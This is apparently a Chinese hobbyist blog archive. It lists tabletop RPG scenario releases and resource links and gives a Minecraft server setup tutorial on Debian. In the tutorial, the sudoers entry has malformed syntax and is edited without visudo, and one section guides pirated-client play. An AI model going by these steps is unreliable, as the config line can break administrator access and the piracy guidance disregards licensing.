
制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【龙蛋物语剧本】【○○的奇妙旅行③】~离家出走的任性公主~

Wed, 12 Jan 2022 00:00:00 GMT

○○是一片广阔的大陆，人类、精灵、犬人和喵布林在这片大陆上和睦地生活在一起。

这里的绝大多数居民向往着和平，安心地居住着、旅行着。

然而近期不知道发生了什么变故，一些犬人和喵布林突然开始袭击人类、掠夺人类的村庄、在城市里喧闹。

行者调解了伊尔村的村民与喵布林之间的矛盾之后，在前往酒馆准备歇息时，遇到了神秘的吟游诗人·罗兹尼尔。她带给了旅行者关于公主失踪的重磅消息。旅行者接下来的旅行将由此展开……

注意：《马鹿的奇妙旅行》剧本集包含当前剧本，且剧本集中的版本经过了修改，强烈建议下载剧本集！本页面仅作存档使用，未来不会进行任何更新。

剧本简介

适用于《龙蛋物语》规则书
推荐人数： 2 - 4人
适合等级： Lv 4 - 5
剧本类型：探索 & 战斗
游戏时长： 3 - 4小时

下载链接

蓝奏云：https://masternoah.lanzouy.com/ihqu60ays8gh
百度网盘：https://pan.baidu.com/s/1axFU2HXNQHsLRyK6MtWISw (提取码：NOAH)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要剧本的word版
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

剧本中的部分装饰元素灵感来源于乐博睿出品的《龙蛋物语》官方剧本集。

剧本中怪物数据摘录自乐博睿出品的《龙蛋物语》规则书。

【BRP剧本】明日、明日……

Tue, 28 Dec 2021 00:00:00 GMT

R18G 警告

本剧本含有血腥、暴力、猎奇等因素，请在确保可以接受包含上述因素的描写的情况下阅读。

也请在使用剧本前确认玩家可以接受上述因素。

剧本简介

适用于 BRP 规则
适于 1 名玩家进行冒险
预计游戏时长 1-2 小时 (面团)
故事发生于 2021 年，地点不定
没有战斗要素的封闭式非线性剧本

在《明日、明日……》中，失去了记忆的 PC 独自居住在空荡荡的房间中，并会在自己的家中度过数天的时间。PC 需要在这几天的时间里对自己身边的事物进行调查，尝试找回自己的记忆并搞清楚自己的身上究竟发生了什么。

你从昏睡中醒来。房间顶部的吊灯发出了刺眼的白色光芒。

稍微适应了一段时间之后，你才睁开了双眼。

“忘记关灯就睡觉了，昨天晚上睡觉前真的很困啊。”

——你这么想着。

但接着，你意识到自己身上发生了不得了的事情。

你完全想不起任何事情。

虽然基本的常识还是保留着，但却想不起任何和自己相关的事情。

也想不起和现在身处的这间房子相关的事情。

你意识到自己失去了全部的记忆。

要找回记忆。

碎碎念

本来想写一个温馨的小故事。

结果因为最近心情太差，写着写着就越写越偏了。后来干脆摆烂，在《瘟腥核邪》的道路上越走越远。

写到一半的时候就赶紧在开头加了一行声明：本剧本含有血腥、暴力、猎奇等因素，请在确保可以接受包含上述因素的描写的情况下阅读。

自己看了自己之前写的东西，自己都觉得浑身发毛。

希望固桌的PL跑完之后不要拿我泄气就好。

更新记录

2022.01.09 更新

感谢 Dicecho 的朋友提出的建议，现在《明日、明日……》已经修改至 BRP 剧本了。
（接上条）因此，发生了大量的变动。
将原 “可选要素” 中的内容整合进了正文。
修改了一些 BUG 和不清楚的语句。
根据 Chaosium 的使用规范，为封面图添加了 BRP 的 Logo。
修正了展示材料2的错字。

2022.01.02 初版

下载地址

蓝奏云：[BRP]明日明日 - 蓝奏云
百度网盘：https://pan.baidu.com/s/1FNOyviKUHYRU-WEIJFsMZQ (提取码：noah)

其它信息

本剧本由于题材问题，禁止二创及再发布。

本剧本基于CC-BY-NC-ND 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要展示材料可编辑版本的文件\剧本word版
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本】【古城事件簿Ex②】早八要迟到了

Thu, 11 Nov 2021 00:00:00 GMT

剧本简介

适用于 COC7th 规则
适于 1-3 名调查员共同进行冒险
预计游戏时长 4-5 小时 (面团)
故事发生于 2021 年的中国·古城市·古城科技大学校园内
偏向于调查的半开放式剧本

剧本背景

《早八要迟到了》是古城系列的短篇外传性质剧本，内容与古城系列其他剧本没有直接关联，因此完全可以单独进行游玩。

调查员是一群每天早上8点30分都要上课的大学生。

在秋冬之交寒冷的10月的某日，来到教学楼附近的调查员发现几栋教学楼门口居然都排起了长队，而此时距离上课只剩下几分钟了……

下载地址

蓝奏云：https://masternoah.lanzouf.com/ij1Dc03eyx0f

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要展示材料可编辑版本的文件或剧本word版
进行有可能产生利益的二次创作（包括但不限于视频、小说等）
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

优雅地使用 minecraft 官方 server + PCL2 联机游戏

Tue, 07 Sep 2021 00:00:00 GMT

最近学了《数字电路与逻辑分析》，想起来去年某学长考试前靠 MC 的红石电路复习，然后，本着~~学习数电~~摸鱼的目的，搭了一个 MC 的服务器（便于大家交流学习（逃

服务端

如果你是玩家，请直接查看<a href="#客户端">客户端</a>部分。这部分雨女无瓜。

0x0 服务器

首先你需要一台云服务器，各种云服务器供应商都可以（当然，前提是没有被伟大的 GWF 拦截，Amazon AWS 似乎不行）。本人使用的是腾讯云的轻量型应用服务器，配置如下供参考：

项目	配置
OS	Debian 10 buster
CPU	Intel Xeon Platinum 8255C @ 2x 2.494GHz
RAM	4G
ROM	80G SSD
带宽	8M

对于 minecraft 服务端的搭建而言，服务器配置的重要程度大致为： 公网带宽 > CPU > RAM > ROM。我的服务器在跑服务端正常游戏的时候，系统占用基本上 CPU 20%，内存 2GB，带宽占用取决于游戏人数，基本上每人 1M 左右。

0x1 服务器配置

我是用的镜像是腾讯云提供的 Debian 10.2 64bit 系统镜像，接下来的操作均在该系统上。使用其他操作系统的情况下，部分步骤可能会有所不同。

0x1.1 服务器账户配置

Mojang 官方推荐的服务器搭建教程建议使用 root 账户并将 minecraft 的服务器本体 server.jar 及配置文件放置在 /opt 目录下，但由于我不是很喜欢直接用 root 账户，所以我选择使用普通用户 noah 并将文件放置在 /home/noah/minecraft 目录下。并没有遇到什么问题。

如果你想使用 root 账户搭建服务端，直接跳到 <a href="#0x2-安装OpenJDK">0x2 安装 Openjdk</a>。

首先添加一个新的账户：

groupadd noah
useradd -m noah -g noah -s /bin/bash -d /home/noah
passwd noah

更新软件源、安装vim并赋予新用户sudo权限：

apt upgrade
apt update
apt install vim
vim /etc/sudoers

在 sudoers 中添加一行：

noah	ALL(=ALL)	ALL

接着切换到新的用户：

su noah

0x1.2 安装 `screen`

GNU Screen 是一款由 GNU 计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话，并在其间自由切换。 GNU Screen 可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

sudo apt install screen

在运行 minecraft server 的时候会用到 screen。

0x1.3安装一个更好看的shell

我个人喜欢用 fish， zsh 运行有些慢。

sudo apt install fish
chsh -s /usr/bin/fish

0x2 安装OpenJDK

Debian 10 的默认 JDK 版本为 OpenJDK 11，对于 minecraft server 1.17.1 及以上的版本，需要使用 OpenJDK 16 及以上的版本。

安装通过 HTTPS 添加新存储库所需的依赖项：

sudo apt install apt-transport-https ca-certificates wget dirmngr gnupg software-properties-common

使用 wget 命令导入存储库的 GPG 密钥：

wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | sudo apt-key add -

添加 AdoptOpenJDK APT 存储库到你的系统：

sudo add-apt-repository --yes https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/

更新 apt 源软件列表，启用存储库，安装 OpenJDK 16：

sudo apt update
sudo apt install adoptopenjdk-16-hotspot

0x3 下载、启动并配置 minecraft server

官方版 server

下载官方的 server.jar，最新版本的下载地址可以在 Download server for Minecraft | Minecraft 找到：

wget https://launcher.mojang.com/v1/objects/a16d67e5807f57fc4e550299cf20226194497dc2/server.jar

但是在国内下载的话速度有点慢，可以挂代理下载或者本机下好之后传到服务器上。

我将 server.jar 放在了 /home/noah/minecraft 目录下，这里将来还会生成数个配置文件：

mkdir /home/noah/minecraft
mv server.jar /home/noah/minecraft
cd /home/noah/minecraft

为了方便运行，在这里新建一个 shell 脚本，并赋予它可执行权限：

vim run.sh
chmod +x run.sh

并将以下内容写入脚本：

#!/bin/sh
cd "$(dirname "$0")"
exec java -Xms1G -Xmx1G -jar server.jar --nogui

运行一次 server 以生成配置文件：

./run.sh

这次运行会因为未同意 eula 而异常退出。修改当前目录下生成的 eula.txt 文件，将其中的 eula=false 改为 eula=true。

接着再运行一次 server，等出现 [Server thread/INFO]: Done (39.937s)! For help, type "help" 的提示时 server 就算第一次正常运行了。第一次启动 server 耗时较长（大约 60 秒，具体取决于服务器的 CPU 配置），并且在启动的过程中会出现连续的许多 [Worker-Main-2/INFO]: Preparing spawn area: 0% 提示，这是正常情况。

输入 stop 终止 server 运行，此时，目录下应该存在以下文件：

修改配置文件 server.properties，其中需要修改的有：

motd=Noah Minecraft Server # 服务器名称，不能带有部分特殊符号
online-mode=false          # 是否验证正版，false为不验证，true为验证

其余的配置可以在控制台或游戏内通过 op 指令修改。

通过在控制台输入 op NoahTie 设置 op (游戏内管理员)。将其中的 NoahTie 替换为你将要在游戏中使用的用户名。

Forge 版 server

建议没有 Forge 使用经验的用户使用下面的 Fabric 版 server

下载 Forge Installer： Downloads for Minecraft Forge for Minecraft

将 Forge Installer 放在安装目录下，并执行：

sudo java -jar forge-1.17.1-installer.jar nogui --installServer

运行一次 universal 版本，参照官方版 server 修改 eula.txt 及 server.properties：

java -jar forge-1.17.1-universal.jar nogui

新建 shell 脚本并写入以下内容：

#!/bin/bash
java -server -d64 -Xms1150M -Xmx1150M -Xss228k -XX:NewSize=150m -XX:MaxNewSize=200m -XX:+UseParNewGC -XX:+CMSIncrementalPacing -XX:+UseFastAccessorMethods -XX:+UseConcMarkSweepGC -XX:MaxGCPauseMillis=100 -XX:+CMSParallelRemarkEnabled -XX:ParallelGCThreads=4 -jar forge-1.17.1-37.0.53.jar nogui

添加 mod 时，需要将 mod 文件放入 /home/noah/minecraft/mod 目录中，客户端需要安装相同版本的 Forge 和 mod 才能连接服务器。

Fabric 版 server

下载 fabric installer 并运行：

wget -O fabric-installer-0.7.4.jar https://maven.fabricmc.net/net/fabricmc/fabric-installer/0.7.4/fabric-installer-0.7.4.jar
sudo java -jar ./fabric-installer-0.7.4.jar server -downloadMinecraft

稍作等待即可完成安装，此时目录下应该有 fabric-server-launcher.jar 文件，运行它：

java -jar fabric-server-launcher.jar

这次运行会因为未同意 eula 而异常退出。修改当前目录下生成的 eula.txt 文件，将其中的 eula=false 改为 eula=true。

再次运行，会生成配置文件。参照 官方版 server 中的方法，修改 server.properties 文件。文件夹中应该有以下文件。

安装 mod 时只需要将 jar 文件放进 mods 目录即可。

0x4 在 screen 页面中运行 server

执行以下指令：

screen -S mc
screen -r mc

这两条指令新建了一个叫做 mc 的 screen 页面，并进入了这个页面。在这个 screen 页面中运行 server，等到 server 完全启动之后，依次按下 Ctrl + a 和 d 键以退出页面，此时 server 将在后台保持运行。之后可以通过 screen -r mc 指令返回页面。

至此，一个 minecraft 1.17.1 纯净版的生存服务器就搭建好了。

在 screen 页面中运行 shell 脚本启动服务器。

客户端

0x0 下载启动器

正版玩家

在 mojang 官网上下载 java 版的 minecraft 启动器并下载游戏。

盗版玩家

下载 PCL2 或其他 mc 启动器。大部分启动器已经集成游戏本体及 jre 下载功能。按照提示下载 1.17.1 版本游戏即可。

以 PCL2 为例：

启动 PCL2 之后进入下载标签页，选择 1.17.1 版本。
选择你需要的功能，并点击下载。如果服务端使用了 Forge 或 Fabric 运行了 mod，客户端需要安装版本 完全相同 的 Forge 或 Fabric。
等待游戏下载完成后，进入启动标签页，选择离线选项并进入游戏。进入游戏后选择多人游戏 -> 添加服务器，在服务器地址一栏输入服务器的 ip 地址或域名，点击完成。
点击服务器 -> 加入服务器。

如果出现验证错误，请确认 server.properties 中 online-mode 的值已设置为 false。

0x1 添加 mod

首先需要在 PCL2 中下载与服务器相同版本的 Forge 或 Fabric 版客户端。

Forge

在启动标签页 -> 版本选择 -> Forge 版本选择 1.17.1-Forge xx.x.xx。

在启动标签页 -> 版本设置 -> mod 管理 -> 打开 mod 文件夹。

将服主发来的 mod.zip 解压到打开的文件夹里。

Fabric

在启动标签页 -> 版本选择 -> Fabric 版本选择 0.11.6。

在启动标签页 -> 版本选择 -> Fabric API 版本选择 0.40.0。

在启动标签页 -> 版本设置 -> mod 管理 -> 打开 mod 文件夹。

将服主发来的 mod.zip 解压到打开的文件夹里。

【龙蛋物语相关】龙蛋物语常用资源[规则书、人物卡、官方扩展……]

Sun, 15 Aug 2021 00:00:00 GMT

部分资源为英文或日文版，均已在资源介绍中注明。

核心规则及相关资源

《龙蛋物语》规则书

GM与PL必备。

中文扫描版PDF

玩家自制的中文书籍的扫描版，清晰度还行，页面有些倾斜。

https://masternoah.lanzoui.com/i7L7tsoidfi

中文汉化 DOC

来源：https://sites.google.com/site/longdantrpg0/

经过复制整理，对部分错译进行了修正，并进行了一些排版。

注意：原翻译为繁体中文，故部分专有名词表述与简体中文版不同。

https://masternoah.lanzoui.com/iMAxosoiiqj

日文版 PDF

注意：本版本为日文原版。

日版官方免费提供的日文版PDF，清晰度稍低。

https://masternoah.lanzoui.com/ibc7hsoiidg

玩家规则摘要

带新手入坑必备！包含了玩家刚开始游戏时需要的基本规则，包括新建任务卡及判定相关的内容。

https://masternoah.lanzoui.com/iOMcqsoiisb

起始套组-盛夏的草原

官方出品的给新手游玩的剧本，包含了人物卡等游戏需要的表格

https://masternoah.lanzoui.com/imLEPsoiifi

帷幕

玩家自制版

玩家自制的帷幕，一张图片。

https://masternoah.lanzoui.com/iR9ibsoiioh

各种卡[人物卡、战斗图、物资卡等]

包含：

角色卡

龙人角色卡[pdf]

龙人角色卡_可填充[pdf]

旅行者角色卡[pdf]

旅行者角色卡_可填充[pdf]

龙蛋人物卡v2.4.1[xlsx]

龙蛋自动人物卡[xlsx]

魔法道具卡[pdf]

剧本相关

城市构建卡[pdf]

地图记录卡[pdf]

剧本大纲卡[pdf]

剧本目的卡[pdf]

世界构筑卡[pdf]

事件详述卡[pdf]

游戏相关

笔记卡[pdf]

道具记录卡[pdf]

旅行日志[pdf]

食物与水管理卡[pdf]

战术地图[pdf]

扩展卡

道路设计卡[jpg]

帆船设计卡[jpg]

海域设计卡[jpg]

马车设计卡[jpg]

魔法卡[pdf]

https://masternoah.lanzoui.com/iPmcbsoj5kb

官方扩展

《在马车与帆船上的摇曳之旅》

唯一一个出了官中的扩展。PDF版。

https://masternoah.lanzoui.com/i8CZlsojlmj-

小扩展合集

一些只有一两页的小型扩展规则，来自于日版杂志或官方replay。

https://masternoah.lanzoui.com/iKHGUsojt8d

《龙蛋物语 2nd passport ~城市与世界巡游之旅~(暂译)》

该扩展目前仅有日文版, 并且在可以预见的未来里, 不会发行任何其他语言版本.

日文本书籍的扫描文件来源于龙蛋物语交流群的一众群友自购, 暂不放出.

这个扩展从 2021 年就开始陆陆续续有群友在翻译了, 但是进度一直比较停滞. 前一段时间我在空闲时间里重新拾起了扩展的翻译, 在强大的日文 OCR 模型和翻译模型的帮助下, 翻译效率确实提高了不少. 另外, 译本中的图片是直接从扫描件中截图, 通过 Chatgpt-Images2 模型进行修复和高清化处理得到的, 因此多少会和原图有一些差距.

查看详情

官方剧本集

◯◯大陆的奇妙旅行

关于《◯◯大陆的奇妙旅行》

◯◯大陆十分广阔，人类、精灵、犬人和喵布林在这片大陆上和睦地生活在一起。这里的绝大多数居民安居乐业，喜好旅行，向往和平。然而，最近不知道发生了什么变故，一些犬人和喵布林突然开始袭击人类，掠夺人类村庄或在城市里胡闹不休。

整个◯◯大陆的统治者——罗塞亚王国的国王向各地的村庄和城市颁布诏令，鼓励旅行者踏上旅途，找到犬人和喵布林的暴动原因。

你们的故事就此开始。

注意：该剧本集资源为网络公开版，与乐博睿出版的版本有所不同。

查看详情

X老板的奇幻委托之旅

关于《X老板的奇幻委托之旅》三部曲

据说怀抱幻象的人，都有机会走进一家神秘的酒吧。被称为X的酒吧老板有着常人难以想象的人脉和特殊的力量，能将“合格之人”送进那些奇妙的世界。

而现在，老板正向每一位“合格之.人”发出委托。如果愿意，你也可以成为其中一员。

听,来自X老板的忠告:

“我是永恒的旁观者。在旅途中，虽然我会拜托那边的‘朋友’守护你们，但最能帮到你们的，还是你们自己的——想象力。

“这一次，是关于龙、食物与冒险者的奇妙物语......”

https://masternoah.lanzoui.com/iTHYZsok6kd

伊哈托布的四季

关于《伊哈托布的四季》

这一次，旅行者将在伊哈托布这片神奇的土地.上旅行，踏过四季的时光，置身于一段段如枫糖松饼般温馨柔软的故事中。虽然有时回味会带有稍许苦涩，但想必在旅途最后，每个人都能找到属于自己的幸福。

本剧本以日本童话作家宫泽贤治的作品为灵感来源。如果你是熟悉这位作家的玩家，本剧本中的许多细节或许会令你会心一笑。但即使没有读过相关作品，也能通过本剧本进入那个奇异的童话世界，享受旅行的乐趣。

以此剧本向伟大的诗人，童话作家和农业工作者宫泽贤治致敬。 您的作品让我体会到了世界的美丽，也教会了我该成为怎样的人。

https://masternoah.lanzoui.com/iKUQusok6tc

凯伦的菜谱

鬼怪南瓜派

鬼怪南瓜派使用的主材料正是鬼怪南瓜，也叫幽灵南瓜。融合众多香辛料，把香甜和刺激以绝妙的平衡搭配制成的鬼怪南瓜派一定会让你欲罢不能!

火燎樱花鲣鱼 ~ 捧一抹春色 ~

使用了据说只在樱花盛开时节出现的梦幻之鱼“樱花鲣鱼”的豪华菜品。春天特有的佐料引人垂涎，肥厚的樱花鲣鱼入舌即化。同时，还搭配味道清爽柔和的油菜花笔头菜作为小菜。

璀璨极光巧克力

仿照由璀璨星光与绚丽极光制成的巧克力。入口的瞬间，柔和的甘甜口味与坚果股的浓厚风味让人感觉幸福无比。亦有传说，若将此巧克力送给思念之人，就会有星星为你实现恋爱的祈愿。

https://masternoah.lanzoui.com/iqWdVsok6yh

来自英文版官网的剧本

可以在英文版官网下载英文版的资源. 目前官网提供的可下载资源包括:

2019 龙蛋物语节日剧本集

2018 龙蛋物语节日剧本集

2015 节日包

暂时先占位, 之后可能会放出中文翻译版的资源.

线上游戏资源

FVTT 龙蛋物语系统

该系统原版由 Zhell 编写, 开源在: Zhell/ryuutama - git.gay

我对系统进行了汉化, 开源在: NoahBox/ryuutama-cn_FVTT - github.com

可以使用清单文件 https://github.com/NoahBox/ryuutama-cn_FVTT/releases/download/2.2.2/system.json 在 FVTT 中安装中文版的系统，需要 FVTT 版本 >= 14.

或者可以安装原版的系统后, 在 Release 中下载单独的汉化 Mod 并手动安装至 %APPDATA%\FoundryVTT\Data\modules 目录中.

SealDice(海豹骰) 龙蛋物语掷骰脚本

龙蛋物语(Ryuutama)规则掷骰
.rtm                       显示本帮助
.rtm set 8 6 6 4           快速设置 体力/敏捷/智力/精神
.rtm 体质 敏捷             进行 体力+敏捷 判定（不指定难度只显示骰值）
.rtm STR DEX               英文缩写同样支持
.rtm 体 敏 10              指定难度=10
.rtm 体力 敏捷 难          使用难度关键词(易4/较难7/难9/极难12/不可能16/奇迹20)
.rtm 运动 10               规则书中的预设判定
.rtm 运动 10 +2            调整值以 +x/-x 写在末尾
.rtm 体力+敏捷             两骰都为最大值=大成功，都为1=大失败
.rtm 武器 短剑             设置/查看武器
.rtm 命中 10               用当前武器进行命中判定
.rtm 伤害                  用当前武器进行伤害掷骰
属性别名：体力(STR/体) 敏捷(AGI/敏) 智力(INT/智) 精神(SPI/精)

我简单搓了一个可以记录角色卡数值的脚本, 用起来比单纯 .r d6+d6 能舒服一点.

下载地址: [Github RAW]https://github.com/NoahBox/sealdice-javascript/raw/refs/heads/main/scripts/%E6%A1%8C%E6%B8%B8%E8%A7%84%E5%88%99/%E9%BE%99%E8%9B%8B%E7%89%A9%E8%AF%AD.js

放在海豹骰的数据目录的 /data/default/scripts 中即可.

【龙蛋物语剧本】【○○的奇妙旅行②】~人类与喵布林的村庄~

Fri, 13 Aug 2021 00:00:00 GMT

○○是一片广阔的大陆，人类、精灵、犬人和喵布林在这片大陆上和睦地生活在一起。

这里的绝大多数居民向往着和平，安心地居住着、旅行着。

然而近期不知道发生了什么变故，一些犬人和喵布林突然开始袭击人类、掠夺人类的村庄、在城市里喧闹。

○○大陆最大的王国“索菲亚”的国王向各地的村庄和城市颁发诏令，鼓励旅行者们踏上自己的旅途，找到犬人和喵布林暴动的原因。

在解决了犬人与森之妖精之间的矛盾之后，旅行者再次踏上了旅途……

剧本简介

适用于《龙蛋物语》规则书
推荐人数： 2 - 4人
适合等级： Lv 2 - 3
剧本类型：推理 & 探索
游戏时长： 3 - 4小时

下载链接

蓝奏云：https://masternoah.lanzoup.com/iJq0xyagiqj
百度网盘：链接：https://pan.baidu.com/s/1DclAwsUDBOr5VKidEVqk-w (提取码：noah)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要剧本的word版
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

剧本中的部分装饰元素灵感来源于乐博睿出品的《龙蛋物语》官方剧本集。

剧本中怪物数据摘录自乐博睿出品的《龙蛋物语》规则书。

【COC剧本】【古城事件簿Ex①】重返黑色校园

Sat, 07 Aug 2021 00:00:00 GMT

剧本简介

适用于COC7th规则
适于2-4名调查员共同进行冒险
预计游戏时长4-5小时
故事发生于1948年的中国·古城市
偏向于调查的开放式剧本

剧本背景

《重返黑色校园》是《古城诡秘》中的《黑色校园怪谈》的短篇外传性质剧本。因此，强烈建议曾经游玩过《黑色校园怪谈》的玩家参与游戏。

1948年年初，在战乱的环境下，即使古城市处于和平区，但依然暗流涌动。

1948年2月起，古城福音中学频繁发生学生失踪事件，一时间流言四起。

1948年4月，身为旧时代的警察或政府职员的调查员因为上级的派遣，来到古城中学调查学生失踪一案。

下载地址

坚果云(需要登陆)：https://www.jianguoyun.com/p/DX62rhEQq-TACRjCzYYE
蓝奏云：https://masternoah.lanzoui.com/iErPDslnz6d

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要展示材料可编辑版本的文件或剧本word版
进行有可能产生利益的二次创作（包括但不限于视频、小说等）
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本集】心跳研学旅行

Wed, 30 Jun 2021 00:00:00 GMT

剧本集简介

故事发生在2020年12月的日本。调查员身为竹兰私立中（私立竹蘭高校/Shiritsu Chikuran Koukou）的相关人员，跟随一群学生前往位于日本西北部的大泽岛（大澤島/Oozawa Shima），参与一场修学旅行。

本剧本集包含了《献给她的爱》与《恶魔的爱》两篇剧本。
适用于COC7th规则
背景——现代日本
游戏人数——推荐 2 - 4 人
游戏时长——每章节各约 4 - 5 小时
推荐技能——侦查、聆听、图书馆使用
推荐职业——学生、教师等可能出现在学校的职业
游戏难度——★★★☆☆（中等）

注意：《心跳研学旅行》的重制版《巫女》已经发布，强烈建议使用重置版！

下载地址

蓝奏云：https://masternoah.lanzoui.com/iFTjgsbvw4b
百度网盘: https://pan.baidu.com/s/1tDVXJ-StppthaNUw1s3mqg (提取码：noah)
dicecho页面：心跳研学旅行 | 模组 | 骰声回响 (dicecho.com)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件或剧本word版。
制作包括但不限于视频、小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【杂谈】☆没有任何意义的coc调查员30题☆

Fri, 25 Jun 2021 00:00:00 GMT

图文无关。

插画依旧来自于推特@maxgonta。

第一个以pc身份参与的剧本？

没记错的话是认识的KP带的一个面团，用的剧本是《无处可逃》。

说起来也很奇怪，我接触 COC 之后的轨迹是 看规则书 -> 看剧本

第一个以kp身份带领的剧本？

混元社官方新手剧本《鬼屋》——的魔改版。

第一个让你撕卡的剧本

自己写的《黑色校园怪谈》，撕掉了一个特别莽的医生……

通常是六版还是七版？

七版，如果遇到好的六版剧本，我会转换成七版再带。

不过参团的话，六版也完全可以。

最喜欢故事剧情的剧本？

以前很长一段时间很喜欢《卡尔科萨的涟漪》这个官模，前一段时间看到了《我的色彩》这个剧本，然后最喜欢的剧本剧情就变了。

甚至备好了团，但因为是个单人剧本，所以一只没机会带。

最喜欢逻辑思维的剧本？

目前来说似乎没有……

喜欢什么年代/舞台背景的剧本？

现代、中国。毕竟比较熟悉。

自己写过原创剧本吗/如果有的话是什么呢/没有的话有过打算吗？

写过。博客里都有。

跑过即兴胡扯团吗

没当过pl，但是给别人带过。

一次中午无聊的产物，只带了1个小时不到，就跑了个开头。

不过那个即兴团变成了《可曾遇见梦中仙境》/《欢迎来到仙境》的原型。

第一张车的卡是什么职业呢？

法医。

最喜欢的本人角色卡？

大概是用来跑《庭师所吟之物为何》的法医·井上能亚吧。

最喜欢的他人角色卡？

固定桌的pl手哥的信哥。

古城系列剧本从第一部跑到第四部还活着的卡。~~得想个办法撕了这卡。~~

最喜欢的剧本npc？

自己剧本的杜海凡。

觉得用起来最擅长rp的角色卡？

井上能亚。

有留下过心理阴影的剧本吗？

目前倒是没有。

自己觉得最具有纪念意义的团？

第一次带的《鬼屋》，第一次当了kp。

以及《校园黑色怪谈》，第一次带了自己写的剧本。

有没有特别喜欢的kp或者队友pl呢？

固定桌的手哥。

最喜欢的replay视频？

坊主团、b站up主歌味觉死的《淤泥之花与空心石》、b站up主无毒查理的《心跳XX》系列。

虽然十分想参与但是被剧透了的剧本？

自己写的全部剧本。

最害怕的神话生物？

廷达罗斯的猎犬。本来还觉得可以，直到我看到“廷达罗斯的猎犬甚至可以从人体包含的角中现身”这句话之后。

最喜欢的神话生物？

伊斯人。

最熟悉的神话生物？

米-戈。毕竟看的第一篇关于克苏鲁神话的小说中出现的神话生物就是米-戈。

有成为教徒过吗？

没有。

用过最多次的卡？

井上能亚。

觉得哪个骰子对自己最好？

当然是我的爱酱啦。

接触coc跑团的机缘？

先接触了DND，然后顺藤摸瓜摸到了COC。

通过跑团认识了新朋友吗/拉朋友入坑过吗？

有啊有啊，固定桌全是我拉来的！

自己在跑团过程中最注重什么？

喜欢分析剧本的逻辑，也就是推理。

觉得跑团开心吗！

开心。所以固定桌赶紧来个人当kp带我跑团啊！

【COC相关】COC常用资源[规则书、调查员手册、官方扩展……]

Wed, 23 Jun 2021 00:00:00 GMT

封面插画作者：推特@maxgonta

所有资源均为COC7th规则或已经由老版本规则转化为COC7th。如有例外，请参见注释。

部分资源转载自纯美苹果园。

核心套组

守秘人规则书【Call of Cthulhu Keeper Rulebook】

先把规则书多读几遍再带团吧。

https://masternoah.lanzoui.com/iSdYzqnwgpc

调查员手册【Call of Cthulhu Investigtator Handbook】

包含创建玩家角色的扩展规则、超过100种职业和技能描述的丰富内容，帮助玩家更深入的投入到游戏之中。

另外介绍了一系列调查员所属的组织，1920年代经典背景的详细信息，1920年代和现代的装备和武器。还为不管是新晋还是老手玩家准备了丰富的提示和建议。

想当pl的话，至少先把这本看了吧。

https://masternoah.lanzoui.com/idchwqnwgvi

快速开始规则【Call of Cthulhu Quick-Start Rules】

老版本民间排版PDF

（接上条）实在不行，把这本看了也成啊！

https://masternoah.lanzoui.com/iZHHFqnwg7e

新版本官方PDF

推荐下载这个，看起来比较舒服

https://masternoah.lanzoui.com/imwrCsfxzkb

人物卡

面团用印刷版（民间翻译）

民间翻译版，图片，部分译名与官方简体中文版译名不同。

1920s和现代人物卡。

https://masternoah.lanzoui.com/ipaPDqnvwsf

面团用印刷版（官方翻译）

只有1920s人物卡。

https://masternoah.lanzoui.com/iZAjzqnvwif

网团用电子版

收录了个人比较喜欢的四种卡。

https://masternoah.lanzoui.com/iG9NCqnvwxa

官方扩展

克苏鲁神话魔法大典

超过550种法术，后果可怕，秘密骇人，力量深不可测！

这里精选了《克苏鲁的呼唤》系列30余年以来各种扩展和剧本出现的法术。所有法术都经过修订，适应《克苏鲁的呼唤》第七版游戏；还含有可选的深层魔法，供最强大的神话巫师和怪物使用，用它们来迷惑、阻碍调查员。

书中也附有完整的指导建议，如法术名称、施法要素、魔法成分和天文因素。还新增了缺陷魔法、地脉魔法、民俗魔法、幻梦境魔法的机制。本大典可以作为游戏资源、游戏辅助或者设计剧情时的灵感来源。

《克苏鲁神话魔法大典》是奥法守秘人的必要扩展。

https://masternoah.lanzoui.com/ip9ssqnwh1e

